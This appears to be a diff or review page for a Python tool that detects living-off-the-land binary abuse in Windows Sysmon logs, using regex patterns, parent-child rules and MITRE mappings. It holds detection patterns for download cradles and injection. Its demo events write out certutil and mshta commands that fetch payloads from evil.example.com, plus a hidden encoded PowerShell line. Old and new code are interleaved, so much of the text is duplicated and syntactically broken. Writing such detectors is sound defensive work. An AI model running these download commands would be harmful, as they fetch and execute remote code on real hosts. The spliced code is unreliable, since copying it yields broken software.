"mitre": ["T1127.001"],
|
||||
"description": "Build tool abused for code compilation and execution",
|
||||
},
|
||||
"installutil.exe": {
|
||||
"suspicious_args": [r"/logfile=", r"/LogToConsole=false", r"/U"],
|
||||
"mitre": ["T1218.004"],
|
||||
"description": ".NET install utility abused for code execution",
|
||||
"severity": "critical",
|
||||
"description": "Squiblydoo scriptlet execution via regsvr32",
|
||||
},
|
||||
"bitsadmin.exe": {
|
||||
"suspicious_args": [r"/transfer", r"/create", r"/addfile", r"http[s]?://"],
|
||||
"mitre": ["T1197", "T1105"],
|
||||
"description": "BITS service abused for file download and persistence",
|
||||
"patterns": [
|
||||
r"/transfer\s+.*https?://",
|
||||
r"/create\s+",
|
||||
r"/addfile\s+.*https?://",
|
||||
r"/SetNotifyCmdLine",
|
||||
r"/Resume",
|
||||
],
|
||||
"mitre": ["T1197"],
|
||||
"severity": "high",
|
||||
"description": "BITS job abuse for file download/persistence",
|
||||
},
|
||||
"wmic.exe": {
|
||||
"suspicious_args": [
|
||||
r"process\s+call\s+create", r"os\s+get", r"/node:",
|
||||
r"shadowcopy\s+delete",
|
||||
"patterns": [
|
||||
r"process\s+call\s+create",
|
||||
r"/node:",
|
||||
r"os\s+get\s+/format:.*https?://",
|
||||
r"/format:.*\.xsl",
|
||||
],
|
||||
"mitre": ["T1047"],
|
||||
"description": "WMI command-line abused for execution and recon",
|
||||
"severity": "high",
|
||||
"description": "WMI command-line for remote execution or XSL script",
|
||||
},
|
||||
"cscript.exe": {
|
||||
"suspicious_args": [r"\.vbs", r"\.js", r"//E:jscript", r"//B"],
|
||||
"mitre": ["T1059.005", "T1059.007"],
|
||||
"description": "Script host executing VBS/JS from unusual location",
|
||||
"msbuild.exe": {
|
||||
"patterns": [
|
||||
r"\.xml\b",
|
||||
r"\.csproj\b",
|
||||
r"\\temp\\",
|
||||
r"\\appdata\\",
|
||||
r"\\users\\.*\\desktop\\",
|
||||
],
|
||||
"mitre": ["T1127.001"],
|
||||
"severity": "high",
|
||||
"description": "MSBuild executing project from unusual location",
|
||||
},
|
||||
"installutil.exe": {
|
||||
"patterns": [
|
||||
r"/logfile=",
|
||||
r"/LogToConsole=false",
|
||||
r"\\temp\\",
|
||||
r"\\appdata\\",
|
||||
],
|
||||
"mitre": ["T1218.004"],
|
||||
"severity": "high",
|
||||
"description": "InstallUtil executing assembly from unusual path",
|
||||
},
|
||||
"cmstp.exe": {
|
||||
"patterns": [
|
||||
r"/ni\s+/s\s+",
|
||||
r"\.inf\b",
|
||||
],
|
||||
"mitre": ["T1218.003"],
|
||||
"severity": "high",
|
||||
"description": "CMSTP INF file execution for UAC bypass",
|
||||
},
|
||||
"mavinject.exe": {
|
||||
"patterns": [
|
||||
r"/INJECTRUNNING\s+\d+",
|
||||
],
|
||||
"mitre": ["T1218.013"],
|
||||
"severity": "critical",
|
||||
"description": "DLL injection via mavinject",
|
||||
},
|
||||
"powershell.exe": {
|
||||
"suspicious_args": [
|
||||
r"-enc\s+[A-Za-z0-9+/=]{20,}", r"-ExecutionPolicy\s+Bypass",
|
||||
r"-WindowStyle\s+Hidden", r"Invoke-Expression",
|
||||
r"IEX\s*\(", r"Net\.WebClient", r"DownloadString",
|
||||
"patterns": [
|
||||
r"-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{40,}",
|
||||
r"IEX\s*\(",
|
||||
r"Invoke-Expression",
|
||||
r"Net\.WebClient",
|
||||
r"DownloadString",
|
||||
r"DownloadFile",
|
||||
r"-nop\s+-w\s+hidden",
|
||||
r"FromBase64String",
|
||||
],
|
||||
"mitre": ["T1059.001"],
|
||||
"description": "PowerShell with obfuscation or download cradle",
|
||||
"severity": "high",
|
||||
"description": "PowerShell executing encoded/download commands",
|
||||
},
|
||||
"pwsh.exe": {
|
||||
"patterns": [
|
||||
r"-e(nc|ncodedcommand)?\s+[A-Za-z0-9+/=]{40,}",
|
||||
r"IEX\s*\(",
|
||||
r"Invoke-Expression",
|
||||
r"DownloadString",
|
||||
],
|
||||
"mitre": ["T1059.001"],
|
||||
"severity": "high",
|
||||
"description": "PowerShell Core executing encoded/download commands",
|
||||
},
|
||||
"cscript.exe": {
|
||||
"patterns": [
|
||||
r"https?://",
|
||||
r"\\temp\\",
|
||||
r"\\appdata\\",
|
||||
],
|
||||
"mitre": ["T1059.005"],
|
||||
"severity": "medium",
|
||||
"description": "Console script host executing from unusual location",
|
||||
},
|
||||
"wscript.exe": {
|
||||
"patterns": [
|
||||
r"https?://",
|
||||
r"\\temp\\",
|
||||
r"\\appdata\\",
|
||||
],
|
||||
"mitre": ["T1059.005"],
|
||||
"severity": "medium",
|
||||
"description": "Windows script host executing from unusual location",
|
||||
},
|
||||
}
|
||||
|
||||
SUSPICIOUS_PARENTS = {
|
||||
"winword.exe": "Office application spawning child process",
|
||||
"excel.exe": "Office application spawning child process",
|
||||
"outlook.exe": "Email client spawning child process",
|
||||
"powerpnt.exe": "Office application spawning child process",
|
||||
"wmiprvse.exe": "WMI provider executing child process",
|
||||
"svchost.exe": "Service host spawning unexpected child",
|
||||
# Suspicious parent-child process relationships
|
||||
PARENT_CHILD_RULES = [
|
||||
{
|
||||
"parents": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe",
|
||||
"msaccess.exe", "mspub.exe", "visio.exe", "onenote.exe"],
|
||||
"children": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
|
||||
"wscript.exe", "cscript.exe", "certutil.exe", "regsvr32.exe",
|
||||
"rundll32.exe", "bitsadmin.exe"],
|
||||
"severity": "critical",
|
||||
"mitre": "T1204.002",
|
||||
"description": "Office application spawned command interpreter or LOLBin",
|
||||
},
|
||||
{
|
||||
"parents": ["wmiprvse.exe"],
|
||||
"children": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
|
||||
"rundll32.exe"],
|
||||
"severity": "critical",
|
||||
"mitre": "T1047",
|
||||
"description": "WMI Provider Host spawned process (possible remote WMI execution)",
|
||||
},
|
||||
{
|
||||
"parents": ["svchost.exe"],
|
||||
"children": ["cmd.exe", "powershell.exe", "mshta.exe", "certutil.exe"],
|
||||
"severity": "high",
|
||||
"mitre": "T1543.003",
|
||||
"description": "Service Host spawned suspicious child process",
|
||||
},
|
||||
{
|
||||
"parents": ["explorer.exe"],
|
||||
"children": ["mshta.exe", "regsvr32.exe", "msbuild.exe", "installutil.exe",
|
||||
"cmstp.exe", "mavinject.exe"],
|
||||
"severity": "high",
|
||||
"mitre": "T1218",
|
||||
"description": "Explorer spawned proxy execution binary",
|
||||
},
|
||||
{
|
||||
"parents": ["taskeng.exe", "taskhostw.exe"],
|
||||
"children": ["cmd.exe", "powershell.exe", "mshta.exe", "certutil.exe",
|
||||
"wscript.exe", "cscript.exe"],
|
||||
"severity": "high",
|
||||
"mitre": "T1053.005",
|
||||
"description": "Scheduled task spawned suspicious process",
|
||||
},
|
||||
]
|
||||
|
||||
# LOLBins that should not make outbound network connections
|
||||
NETWORK_SUSPICIOUS_LOLBINS = {
|
||||
"certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
|
||||
"msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe",
|
||||
"expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe",
|
||||
"mavinject.exe",
|
||||
}
|
||||
|
||||
|
||||
def analyze_process_event(process_name, command_line, parent_name=None):
|
||||
"""Analyze a process creation event for LOLBin abuse."""
|
||||
findings = []
|
||||
proc_lower = process_name.lower()
|
||||
cmd_lower = command_line.lower() if command_line else ""
|
||||
def parse_sysmon_evtx(evtx_path):
|
||||
"""Parse a Sysmon EVTX file and extract Event ID 1 and 3 records."""
|
||||
if not HAS_EVTX:
|
||||
print("[WARN] python-evtx not installed. Use: pip install python-evtx")
|
||||
return [], []
|
||||
process_events = []
|
||||
network_events = []
|
||||
ns = {"e": "http://schemas.microsoft.com/win/2004/08/events/event"}
|
||||
|
||||
sig = LOLBIN_SIGNATURES.get(proc_lower)
|
||||
if sig:
|
||||
matched_patterns = []
|
||||
for pattern in sig["suspicious_args"]:
|
||||
if re.search(pattern, cmd_lower, re.IGNORECASE):
|
||||
matched_patterns.append(pattern)
|
||||
if matched_patterns:
|
||||
findings.append({
|
||||
"type": "lolbin_abuse",
|
||||
"binary": proc_lower,
|
||||
"description": sig["description"],
|
||||
"mitre_techniques": sig["mitre"],
|
||||
"matched_patterns": matched_patterns,
|
||||
"command_line": command_line[:200],
|
||||
"severity": "HIGH",
|
||||
})
|
||||
with evtx.Evtx(evtx_path) as log:
|
||||
for record in log.records():
|
||||
try:
|
||||
root = ET.fromstring(record.xml())
|
||||
except ET.ParseError:
|
||||
continue
|
||||
event_id_el = root.find(".//e:System/e:EventID", ns)
|
||||
if event_id_el is None:
|
||||
continue
|
||||
event_id = event_id_el.text
|
||||
|
||||
if parent_name and parent_name.lower() in SUSPICIOUS_PARENTS:
|
||||
findings.append({
|
||||
"type": "suspicious_parent",
|
||||
"parent": parent_name.lower(),
|
||||
"child": proc_lower,
|
||||
"description": SUSPICIOUS_PARENTS[parent_name.lower()],
|
||||
"severity": "HIGH",
|
||||
})
|
||||
event_data = {}
|
||||
for data_el in root.findall(".//e:EventData/e:Data", ns):
|
||||
name = data_el.get("Name", "")
|
||||
event_data[name] = data_el.text or ""
|
||||
|
||||
return findings
|
||||
time_el = root.find(".//e:System/e:TimeCreated", ns)
|
||||
if time_el is not None:
|
||||
event_data["UtcTime"] = time_el.get("SystemTime", "")
|
||||
|
||||
computer_el = root.find(".//e:System/e:Computer", ns)
|
||||
if computer_el is not None:
|
||||
event_data["Computer"] = computer_el.text or ""
|
||||
|
||||
if event_id == "1":
|
||||
process_events.append(event_data)
|
||||
elif event_id == "3":
|
||||
network_events.append(event_data)
|
||||
|
||||
return process_events, network_events
|
||||
|
||||
|
||||
def scan_process_log(log_entries):
|
||||
"""Scan a list of process creation log entries."""
|
||||
all_findings = []
|
||||
for entry in log_entries:
|
||||
findings = analyze_process_event(
|
||||
entry.get("process_name", ""),
|
||||
entry.get("command_line", ""),
|
||||
entry.get("parent_name"),
|
||||
)
|
||||
if findings:
|
||||
entry_result = {"event": entry, "findings": findings}
|
||||
all_findings.append(entry_result)
|
||||
return all_findings
|
||||
def parse_sysmon_json(json_path):
|
||||
"""Parse Sysmon events from a JSON lines file."""
|
||||
process_events = []
|
||||
network_events = []
|
||||
with open(json_path, "r", errors="replace") as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line:
|
||||
continue
|
||||
try:
|
||||
event = json.loads(line)
|
||||
except json.JSONDecodeError:
|
||||
continue
|
||||
event_id = str(event.get("EventID", event.get("event_id", "")))
|
||||
if event_id == "1":
|
||||
process_events.append(event)
|
||||
elif event_id == "3":
|
||||
network_events.append(event)
|
||||
return process_events, network_events
|
||||
|
||||
|
||||
def fetch_lolbas_data():
|
||||
"""Fetch LOLBAS project data from GitHub."""
|
||||
if not HAS_REQUESTS:
|
||||
return {"error": "requests not installed"}
|
||||
url = "https://lolbas-project.github.io/api/lolbas.json"
|
||||
try:
|
||||
resp = requests.get(url, timeout=15)
|
||||
if resp.status_code == 200:
|
||||
data = resp.json()
|
||||
return {"count": len(data), "binaries": [d.get("Name", "") for d in data[:30]]}
|
||||
return {"error": f"HTTP {resp.status_code}"}
|
||||
except Exception as e:
|
||||
return {"error": str(e)}
|
||||
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Detect living off the land (LOLBin) attacks"
|
||||
)
|
||||
parser.add_argument("--log-file", help="JSON file with process creation events")
|
||||
parser.add_argument("--fetch-lolbas", action="store_true", help="Fetch LOLBAS project data")
|
||||
parser.add_argument("--output", "-o", help="Output JSON report path")
|
||||
args = parser.parse_args()
|
||||
|
||||
print("[*] Living Off the Land Attack Detection Agent")
|
||||
print(f" Monitored LOLBins: {len(LOLBIN_SIGNATURES)}")
|
||||
|
||||
report = {"timestamp": datetime.datetime.utcnow().isoformat() + "Z"}
|
||||
|
||||
if args.fetch_lolbas:
|
||||
lolbas = fetch_lolbas_data()
|
||||
report["lolbas_project"] = lolbas
|
||||
print(f"[*] LOLBAS data: {lolbas}")
|
||||
|
||||
if args.log_file and os.path.isfile(args.log_file):
|
||||
with open(args.log_file) as f:
|
||||
events = json.load(f)
|
||||
results = scan_process_log(events)
|
||||
report["findings"] = results
|
||||
print(f"[*] Events analyzed: {len(events)}")
|
||||
print(f"[*] Suspicious findings: {len(results)}")
|
||||
def load_events(path):
|
||||
"""Load Sysmon events from EVTX or JSON file."""
|
||||
if path.lower().endswith(".evtx"):
|
||||
return parse_sysmon_evtx(path)
|
||||
elif path.lower().endswith(".json") or path.lower().endswith(".jsonl"):
|
||||
return parse_sysmon_json(path)
|
||||
else:
|
||||
demo_events = [
|
||||
{"process_name": "certutil.exe",
|
||||
"command_line": "certutil.exe -urlcache -split -f https://evil.example.com/payload.exe C:\\temp\\payload.exe",
|
||||
"parent_name": "cmd.exe"},
|
||||
{"process_name": "mshta.exe",
|
||||
"command_line": "mshta.exe javascript:a=GetObject('script:https://evil.example.com/s.sct')",
|
||||
"parent_name": "winword.exe"},
|
||||
{"process_name": "powershell.exe",
|
||||
"command_line": "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -enc SQBFAFgA...",
|
||||
"parent_name": "excel.exe"},
|
||||
{"process_name": "notepad.exe",
|
||||
"command_line": "notepad.exe C:\\Users\\admin\\notes.txt",
|
||||
"parent_name": "explorer.exe"},
|
||||
]
|
||||
results = scan_process_log(demo_events)
|
||||
report["findings"] = results
|
||||
print(f"\n[DEMO] Analyzed {len(demo_events)} process events")
|
||||
for r in results:
|
||||
for f in r["findings"]:
|
||||
print(f" [!] {f['type']}: {f['binary'] if 'binary' in f else f.get('child','')} "
|
||||
f"- {f['description']}")
|
||||
# Try JSON first, fall back to EVTX
|
||||
try:
|
||||
return parse_sysmon_json(path)
|
||||
except Exception:
|
||||
return parse_sysmon_evtx(path)
|
||||
|
||||
if args.output:
|
||||
with open(args.output, "w") as f:
|
||||
json.dump(report, f, indent=2)
|
||||
|
||||
print(json.dumps({"lolbins_monitored": len(LOLBIN_SIGNATURES),
|
||||
"findings": len(report.get("findings", []))}, indent=2))
|
||||
def detect_lolbin_abuse(process_events):
|
||||
"""Detect suspicious LOLBin command-line patterns."""
|
||||
alerts = []
|
||||
for event in process_events:
|
||||
image = event.get("Image", event.get("image", "")).lower()
|
||||
cmdline = event.get("CommandLine", event.get("command_line", ""))
|
||||
if not cmdline:
|
||||
continue
|
||||
|
||||
binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1]
|
||||
|
||||
for lolbin, config in LOLBIN_SIGNATURES.items():
|
||||
if binary_name == lolbin.lower():
|
||||
for pattern in config["patterns"]:
|
||||
if re.search(pattern, cmdline, re.IGNORECASE):
|
||||
alerts.append({
|
||||
"type": "lolbin_suspicious_cmdline",
|
||||
"severity": config["severity"],
|
||||
"lolbin": lolbin,
|
||||
"description": config["description"],
|
||||
"mitre": config["mitre"],
|
||||
"command_line": cmdline[:500],
|
||||
"image": event.get("Image", event.get("image", "")),
|
||||
"parent_image": event.get("ParentImage", event.get("parent_image", "")),
|
||||
"user": event.get("User", event.get("user", "")),
|
||||
"hostname": event.get("Computer", event.get("hostname", "")),
|
||||
"timestamp": event.get("UtcTime", event.get("timestamp", "")),
|
||||
"pid": event.get("ProcessId", event.get("process_id", "")),
|
||||
"ppid": event.get("ParentProcessId", event.get("parent_process_id", "")),
|
||||
"matched_pattern": pattern,
|
||||
})
|
||||
break
|
||||
return alerts
|
||||
|
||||
|
||||
def detect_parent_child_anomalies(process_events):
|
||||
"""Detect suspicious parent-child process relationships."""
|
||||
alerts = []
|
||||
for event in process_events:
|
||||
parent = event.get("ParentImage", event.get("parent_image", "")).lower()
|
||||
child = event.get("Image", event.get("image", "")).lower()
|
||||
parent_name = parent.split("\\")[-1] if "\\" in parent else parent.split("/")[-1]
|
||||
child_name = child.split("\\")[-1] if "\\" in child else child.split("/")[-1]
|
||||
|
||||
for rule in PARENT_CHILD_RULES:
|
||||
if parent_name in rule["parents"] and child_name in rule["children"]:
|
||||
alerts.append({
|
||||
"type": "suspicious_parent_child",
|
||||
"severity": rule["severity"],
|
||||
"mitre": rule["mitre"],
|
||||
"description": rule["description"],
|
||||
"parent_process": parent,
|
||||
"child_process": child,
|
||||
"command_line": event.get("CommandLine", event.get("command_line", ""))[:500],
|
||||
"user": event.get("User", event.get("user", "")),
|
||||
"hostname": event.get("Computer", event.get("hostname", "")),
|
||||
"timestamp": event.get("UtcTime", event.get("timestamp", "")),
|
||||
})
|
||||
break
|
||||
return alerts
|
||||
|
||||
|
||||
def detect_lolbin_network(network_events):
|
||||
"""Detect LOLBins making outbound network connections."""
|
||||
alerts = []
|
||||
for event in network_events:
|
||||
image = event.get("Image", event.get("image", "")).lower()
|
||||
binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1]
|
||||
|
||||
if binary_name in NETWORK_SUSPICIOUS_LOLBINS:
|
||||
dest_ip = event.get("DestinationIp", event.get("destination_ip", ""))
|
||||
if dest_ip.startswith("127.") or dest_ip == "::1":
|
||||
continue
|
||||
alerts.append({
|
||||
"type": "lolbin_network_connection",
|
||||
"severity": "critical",
|
||||
"binary": binary_name,
|
||||
"image": event.get("Image", event.get("image", "")),
|
||||
"destination_ip": dest_ip,
|
||||
"destination_port": event.get("DestinationPort", event.get("destination_port", "")),
|
||||
"destination_hostname": event.get("DestinationHostname", event.get("destination_hostname", "")),
|
||||
"source_ip": event.get("SourceIp", event.get("source_ip", "")),
|
||||
"user": event.get("User", event.get("user", "")),
|
||||
"hostname": event.get("Computer", event.get("hostname", "")),
|
||||
"timestamp": event.get("UtcTime", event.get("timestamp", "")),
|
||||
})
|
||||
return alerts
|
||||
|
||||
|
||||
def generate_statistics(process_events, all_alerts):
|
||||
"""Generate summary statistics."""
|
||||
lolbin_exec_counts = defaultdict(int)
|
||||
for event in process_events:
|
||||
image = event.get("Image", event.get("image", "")).lower()
|
||||
binary_name = image.split("\\")[-1] if "\\" in image else image.split("/")[-1]
|
||||
if binary_name in [k.lower() for k in LOLBIN_SIGNATURES]:
|
||||
lolbin_exec_counts[binary_name] += 1
|
||||
|
||||
severity_counts = defaultdict(int)
|
||||
type_counts = defaultdict(int)
|
||||
mitre_counts = defaultdict(int)
|
||||
for alert in all_alerts:
|
||||
severity_counts[alert.get("severity", "unknown")] += 1
|
||||
type_counts[alert.get("type", "unknown")] += 1
|
||||
mitre_ids = alert.get("mitre", [])
|
||||
if isinstance(mitre_ids, str):
|
||||
mitre_ids = [mitre_ids]
|
||||
for mid in mitre_ids:
|
||||
mitre_counts[mid] += 1
|
||||
|
||||
return {
|
||||
"lolbin_execution_counts": dict(lolbin_exec_counts),
|
||||
"alert_severity_counts": dict(severity_counts),
|
||||
"alert_type_counts": dict(type_counts),
|
||||
"mitre_technique_counts": dict(mitre_counts),
|
||||
"total_alerts": len(all_alerts),
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
print("=" * 60)
|
||||
print("Living Off the Land (LOLBin) Detection Agent")
|
||||
print("Sysmon log analysis for LOLBin abuse, parent-child")
|
||||
print("anomalies, and LOLBin network connections")
|
||||
print("=" * 60)
|
||||
|
||||
input_path = sys.argv[1] if len(sys.argv) > 1 else None
|
||||
|
||||
if not input_path or not os.path.exists(input_path):
|
||||
print(f"\n[DEMO] Usage: python agent.py <sysmon_events.evtx|json|jsonl>")
|
||||
print("[*] Provide Sysmon event logs (EVTX or JSON) for LOLBin analysis.")
|
||||
print(f"[*] Monitors {len(LOLBIN_SIGNATURES)} LOLBins with "
|
||||
f"{sum(len(v['patterns']) for v in LOLBIN_SIGNATURES.values())} detection patterns")
|
||||
print(f"[*] {len(PARENT_CHILD_RULES)} parent-child anomaly rules")
|
||||
print(f"[*] {len(NETWORK_SUSPICIOUS_LOLBINS)} LOLBins monitored for network activity")
|
||||
sys.exit(0)
|
||||
|
||||
print(f"\n[*] Loading events from: {input_path}")
|
||||
process_events, network_events = load_events(input_path)
|
||||
print(f" Process creation events (EID 1): {len(process_events)}")
|
||||
print(f" Network connection events (EID 3): {len(network_events)}")
|
||||
|
||||
all_alerts = []
|
||||
|
||||
print("\n--- LOLBin Command-Line Detection ---")
|
||||
cmdline_alerts = detect_lolbin_abuse(process_events)
|
||||
print(f" Suspicious LOLBin executions: {len(cmdline_alerts)}")
|
||||
for a in cmdline_alerts[:15]:
|
||||
print(f" [{a['severity'].upper()}] {a['lolbin']} on {a.get('hostname', '?')}")
|
||||
print(f" MITRE: {', '.join(a['mitre']) if isinstance(a['mitre'], list) else a['mitre']}")
|
||||
print(f" Cmd: {a['command_line'][:120]}")
|
||||
print(f" Parent: {a['parent_image']}")
|
||||
print(f" User: {a['user']}")
|
||||
all_alerts.extend(cmdline_alerts)
|
||||
|
||||
print("\n--- Parent-Child Anomaly Detection ---")
|
||||
pc_alerts = detect_parent_child_anomalies(process_events)
|
||||
print(f" Suspicious parent-child pairs: {len(pc_alerts)}")
|
||||
for a in pc_alerts[:15]:
|
||||
print(f" [{a['severity'].upper()}] {a['description']}")
|
||||
print(f" Parent: {a['parent_process']} -> Child: {a['child_process']}")
|
||||
print(f" Cmd: {a['command_line'][:120]}")
|
||||
all_alerts.extend(pc_alerts)
|
||||
|
||||
print("\n--- LOLBin Network Connections ---")
|
||||
net_alerts = detect_lolbin_network(network_events)
|
||||
print(f" LOLBin network connections: {len(net_alerts)}")
|
||||
for a in net_alerts[:15]:
|
||||
print(f" [CRITICAL] {a['binary']} -> {a['destination_ip']}:{a['destination_port']}"
|
||||
f" ({a.get('destination_hostname', 'N/A')})")
|
||||
all_alerts.extend(net_alerts)
|
||||
|
||||
stats = generate_statistics(process_events, all_alerts)
|
||||
|
||||
print(f"\n{'=' * 60}")
|
||||
print(f"SUMMARY: {stats['total_alerts']} total alerts")
|
||||
for sev, count in sorted(stats["alert_severity_counts"].items()):
|
||||
print(f" {sev.upper()}: {count}")
|
||||
if stats["mitre_technique_counts"]:
|
||||
print("\nMITRE ATT&CK techniques triggered:")
|
||||
for tech, count in sorted(stats["mitre_technique_counts"].items(), key=lambda x: -x[1]):
|
||||
print(f" {tech}: {count}")
|
||||
if stats["lolbin_execution_counts"]:
|
||||
print("\nLOLBin execution counts:")
|
||||
for binary, count in sorted(stats["lolbin_execution_counts"].items(), key=lambda x: -x[1])[:20]:
|
||||
print(f" {binary}: {count}")
|
||||
|
||||
Reference in New Issue
Block a user